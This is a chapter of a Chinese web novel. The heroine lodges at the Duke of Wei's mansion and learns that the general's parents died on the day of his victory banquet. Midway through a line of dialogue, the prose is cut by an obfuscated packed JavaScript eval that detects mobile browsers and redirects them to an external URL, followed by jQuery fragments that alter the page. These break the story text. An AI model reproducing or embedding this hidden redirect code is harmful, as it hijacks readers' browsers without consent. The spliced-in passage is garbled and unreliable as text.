13. 卫国公府

作品:《招惹少年将军后她死遁了

    折腾了一天,等到了卫国公府,已是夜里。许是卫国公已歇下,外出来迎的都是些府上管事之人。宁济被暂且安置在府中一处小院落,权做临时休息。


    不知为何,如今虽难得安枕在榻间,她却并未赖早。卯时便醒了,大早上便听见院中鸟鸣啁啾,甚是怡然。


    左右闲着也是无事,索性外出探看。


    出了院落,回头一瞧,但见月洞上挂着枕闲居三个字。


    宁济忍俊不禁。


    难以想象这府上牌匾竟有如此雅趣之地。毕竟似乎纵观国公府,并无什么人如她一般无所事事……如此说来,她这闲人住在枕闲居,倒是颇为契合了。


    今天起了个大早,在院落里闲逛一时,只觉卫国公府宅邸宽阔,花园行廊雍容典贵,阖府上下却甚少见人。


    原以为是枕闲居太偏僻,因此她又特意在府中多转了大半日,除了府中下人,其余竟一个赵家人也未曾见到。待书这日都没了踪影,更不必提赵遂辛。


    宁济有些纳闷。


    原先只隐约知晓卫国公一脉人丁稀少,年轻一辈只有赵遂辛一人。如今一见,这府上竟全无人气。


    停停走走半日,她总算在园中廊亭里抓到一个手提箱箧的侍女,里头不知装了什么东西。


    她忙迎上去:“劳驾,姐姐可知道赵……世子在何处?”


    那侍女见了她,目露讶然,却一五一十道:“不知。世子行踪一向不对下人透露。”


    “待书大人几时回来,您知道么?或者他居所在哪里,可否劳烦姐姐帮我指一指?”


    侍女向南点了点:“待书大人几时回来我也不大清楚。不过他正住在西南边上那处小院,瞧见了么?拐进去就是了。”


    宁济笑道:“多谢你。”


    那侍女拎起手旁的箱箧,福了福身子:“时候不早,先告辞了。”


    说罢,侍女便沿着廊亭向北去了,看起来像是去往府中主院。


    宁济收回目光。


    如今已近黄昏,即便待书他们外出有事,算算时间也该回来了,索性去先前那侍女所指的院落处等人。


    然而一直到月上枝头,却也未曾候见待书。困顿不已,只好恹恹回院中歇下了。


    接连过了一两日,都是如此。到了第三日晌午,院中才有了响动。


    “阿展?”


    待书探了头进来:“眼下可有功夫?”


    宁济打起精神:“这几日你们都去哪里了?我可是寻了你几回都不见人影!”


    待书笑了,颇有些不好意思:“抱歉抱歉,是我没与你提前说清楚。近些日子真是忙得不可开交!先一日是将军面圣,然后又随将军进校营安顿大军,军中接风洗尘……这些日子忙个不停,险些都要在校营打地铺!”


    “哦对了,再过五日就是圣上专程办的庆功宴,那时候才有得忙活呢!你瞧瞧,我也是今日才得了空来寻你……”


    宁济也笑了:“我也不是真在埋怨你,只是这些日子老不见你们,不大习惯。对了,你今日特地来寻我,是有什么事吗?”


    待书一拍手:“哎哟,我差点忘了正事!是将军,他专程请了太医过来为你诊治手上的伤,太医接下来每日都会过来一次。算算时间……半个时辰后就到。”


    “啊。”宁济微怔,“将军有心了……他现在何处?”


    待书急匆匆摆手:“眼下还在校营里,里头一堆事未曾料理清楚呢!我还是抽了空出来的,这些日子一直没和你碰上头,也是太忙了。阿展你先好好歇息,记得听那太医的嘱咐……我先走了,那边还有些事!”


    眼见他拔腿就要走,宁济忙道:“慢着!”


    她踌躇片刻,迟疑道:“……我能出府吗?”


    待书笑了:“嗐,这有什么?你在府中闷的久了,嫌无聊是不是?出府自然可以,只是我担心你不认识路,若出去,最好带上府中侍女作陪。吃的玩的,账目一并记下来便是!”


    宁济笑道:“我知道了,你放心吧。”


    待书胡乱点点头,便往校营去了。


    半个时辰后太医果真来了府上,仔细观察她手上的伤后,摇了摇头。只说什么贯穿伤急不得如何如何,无非是要慢慢来、日日练习,不能急于求成……同张医师的没什么两样,听得人耳朵起茧。


    她左手的皮肉伤已大好,取物却还有些颤抖乏力,想也知道,筋络之伤并非药石可医。能恢复至如此,已远超她所想。


    她并不奢望更多。


    待送走太医,侍女正收拾着客室,宁济眨了眨眼,问道:“你知道国公府小门在哪里吗?”


    一旁的侍女被吓了一跳,迟疑抬起头来。


    宁济笑眯眯道:“得劳烦您帮我指个路,可方便?”


    *


    庆功宴定在五日后,按说是个好消息。可不知为何,赵遂辛却并未显出半分高兴的样子来。


    最近这些日子偶有见他,却也只是神色匆匆,略一颔首便错身而过,反倒比从前刚认识时更疏远些。


    宁济倒也不做他想,只每日按部就班应付长胡子太医,而后溜出国公府去,夜里再摸索回来。


    这日傍晚。


    因着明日便是庆功宴的日子,宁济早早便回了府中,同门人打过招呼后,便从侧门溜了进去,小心翼翼往枕闲居悄声去了。


    谁知刚顺着游廊往院中走去,竟迎面撞上好些日子不曾正经说过话的赵遂辛。


    她下意识地将手往后藏了藏,笑着招呼道:“将……”


    赵遂辛眉梢眼底俱是冷意,却并未多分给她半分视线。步履未停,像是刻意略过她一般,径直同她擦身而过。


    “军……”


    后半句话轻飘飘地坠落在空气中,无声无息的被夜风吹散了。


    宁济的笑滞在眉尾。


    跟在后头的待书着急忙慌冲她摆了摆手,一副小心谨慎模样,却无暇同她细说,只匆匆跟在赵遂辛后头去了。


    讨了个没趣。


    她站在原地,半晌,转身往回走。


    步子才迈开,身后却传来一道沧桑的笑。


    她下意识回头。


    远处园丛里,一个须发俱白的老者坐在木轮椅上,面容苍老,精神矍铄。视线扫过来,只觉气沉如山。


    宁济怔了怔,便垂首行礼:“见过卫国公。”


    老者又呵呵笑起来:“你就是遂辛带回来的那个小姑娘?”


    宁济轻声道:“是。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037092|194509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “年纪不大,人倒是聪明。”


    宁济摇头:“您谬赞。”


    卫国公抬了抬手,身后的人便推着他走进几步,停在近旁。仔细一看,却是那日在廊亭中碰见的提着箱箧的侍女。


    老人捻着长须,缓缓道:“方才之事我瞧见了。恐怕你心里觉得委屈了?”


    宁济笑了:“怎么会。将军所为,必有其因。”


    卫国公摇了摇头:“你这姑娘倒是心胸宽广……不过他也并非性情古怪。你可知明日是什么日子?”


    宁济:“听闻是圣上要为将军办庆功宴。”


    卫国公道:“不止如此。明日还是他爹娘忌日。”


    宁济愕然抬头。


    却见卫国公抬了抬手,那侍女便已推着他离开了。


    “我年纪大了,同他许多话说不到一起。恐得你们小辈多劝解些。”


    宁济神情有些复杂。


    爹娘的忌日……吗?


    原先听闻卫国公世子幼时便父母皆亡,因此才早早袭了世子之位。


    只是万未料到,竟是在明日。


    素知赵家是兵将名门,如今才知这轻飘飘的几个字,要用多少东西来换取。论功行赏之日,却是父母双双捐躯之时。


    想起方才赵遂辛冷漠不近人情的模样,难免扼腕。


    她捏紧了手中的信纸。


    既如此……这事便等明日之后再说吧,也不必急于一时。


    *


    翌日,夜近子时。


    华盖车舆轮轴滚动,徐徐驶向国公府。


    “将军,哎哟,您也慢些!”


    待书急急忙忙追了上来,扶着赵遂辛:“可千万走慢些,今夜喝了这么多酒,这、这若是摔了……”


    赵遂辛一把拂开他,跌跌撞撞步下轿辇,他冷冷偏头,轻飘飘掷下两个字。


    “让开。”


    待书便躲在一旁,大气也不敢出。远远看着赵遂辛走出几步,才后知后觉提起一盏灯,跟在后头,心急如焚:“将军,这夜里风大,您好歹也披上件……”


    “闭嘴。”


    待书打了个激灵,不敢再多话。


    仲春时节,到了夜里却还有几分寒凉。只穿一件薄衫,不自觉激得人直打颤。


    赵遂辛迎着夜风才走出两步,便停住了。


    待书本跟在后头,火急火燎去马车内取了大氅来,预备帮将军披上。如今见人静驻前头,还道将军是知冷热了,正欲高兴,抬眼仔细一瞧,却愣住了。


    他张口结舌,踌躇半晌,忙撒腿跑了。


    赵遂辛站定在原地,目色凝住。


    侧门前,立着一道伶仃身影。


    青丝垂落,素衣如云,衣衫共发丝被风吹得散乱,只那人立在原地,似细柳,任凭吹拂,总扎根于那处。


    又仿若月中之人,竟要无端消逝在料峭春风中一般,飘飘然离去。


    赵遂辛狭长入鬓的锐利眼眸黑沉沉浸在夜里,映着月色,冷得如同淬了冰。


    “你。怎么会在这。”


    宁济捏紧了手中挑着的灯。


    许久,她抬眼,冲他笑了笑。


    “想着庆功夜宴已结束了……特来迎将军。”